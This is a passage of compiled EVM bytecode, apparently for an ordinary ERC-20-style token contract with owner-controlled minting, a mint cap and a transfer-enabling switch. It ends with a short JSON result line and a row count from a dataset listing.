d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600360009054906101000a900460ff161515610aef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b7957600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c0457600080fd5b610c5682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ceb82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0e90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dbd82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df590919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600b5481565b60075481565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f605750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f6b57600080fd5b600560009054906101000a900460ff16151515610f8757600080fd5b600754610f9f83600054611e0e90919063ffffffff16565b11151515610fac57600080fd5b610fb68383611e2c565b905092915050565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110545780601f1061102957610100808354040283529160200191611054565b820191906000526020600020905b81548152906001019060200180831161103757829003601f168201915b505050505081565b600080600360009054906101000a900460ff16151561107a57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611188576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121c565b61119b8382611df590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113af57600080fd5b600560009054906101000a900460ff161515156113cb57600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600090505b835181101561147a57611462848281518110151561143b57fe5b90602001906020020151848381518110151561145357fe5b9060200190602002015161163c565b151561146d57600080fd5b8080600101915050611421565b600191505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115415780601f1061151657610100808354040283529160200191611541565b820191906000526020600020905b81548152906001019060200180831161152457829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115e157600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff16151561165957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561169557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116e357600080fd5b61173582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ca82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0e90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d857600080fd5b6001600360006101000a81548160ff021916908315150217905550565b6000600360009054906101000a900460ff16151561191257600080fd5b6119a182600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0e90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ba457600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d1557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000828211151515611e0357fe5b818303905092915050565b6000808284019050838110151515611e2257fe5b8091505092915050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ed35750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611ede57600080fd5b600560009054906101000a900460ff16151515611efa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f3657600080fd5b611f4b82600054611e0e90919063ffffffff16565b600081905550611fa382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0e90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d02e0f0a71dbdff869c1ac6d3a95471850f272a339218ad77d0ac224c47c5b7f0029
|
{"success": true, "error": null, "results": {}}
| 4,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.